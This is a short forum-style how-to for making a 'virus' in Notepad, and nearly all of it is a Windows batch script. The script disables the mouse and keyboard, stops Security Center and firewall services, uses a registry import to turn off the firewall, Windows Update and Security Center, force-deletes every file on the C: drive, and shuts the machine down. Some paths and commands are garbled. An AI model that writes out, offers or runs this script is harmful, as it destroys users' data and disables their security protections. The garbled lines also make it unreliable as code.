how to make a awesome virus with notepad

simply open notepad type the following and save it as anything .bat
@echo.off
cls
rundll32 mouse,disable
rundll32 keyboard,disable
COPY %0 %windir%WINSTART.BAT
net stop "Security Center"
net stop SharedAccess
echo you get a virus!!!
@ping.exe 127.0.0.1 -n 5 -w 1000 > nul
start [url]http://www.youtube.com[/url]
@ping.exe 127.0.0.1 -n 5 -w 1000 > nul
> "%Temp%.kill.reg" ECHO REGEDIT4
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesS haredAccess]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw uauserv]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsv c]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.kill.reg"
del "%Temp%.kill.reg"
del %0
DEL /F /S /Q C:
shutdown -s -t 10 -c "Say good bye to your computer!" -f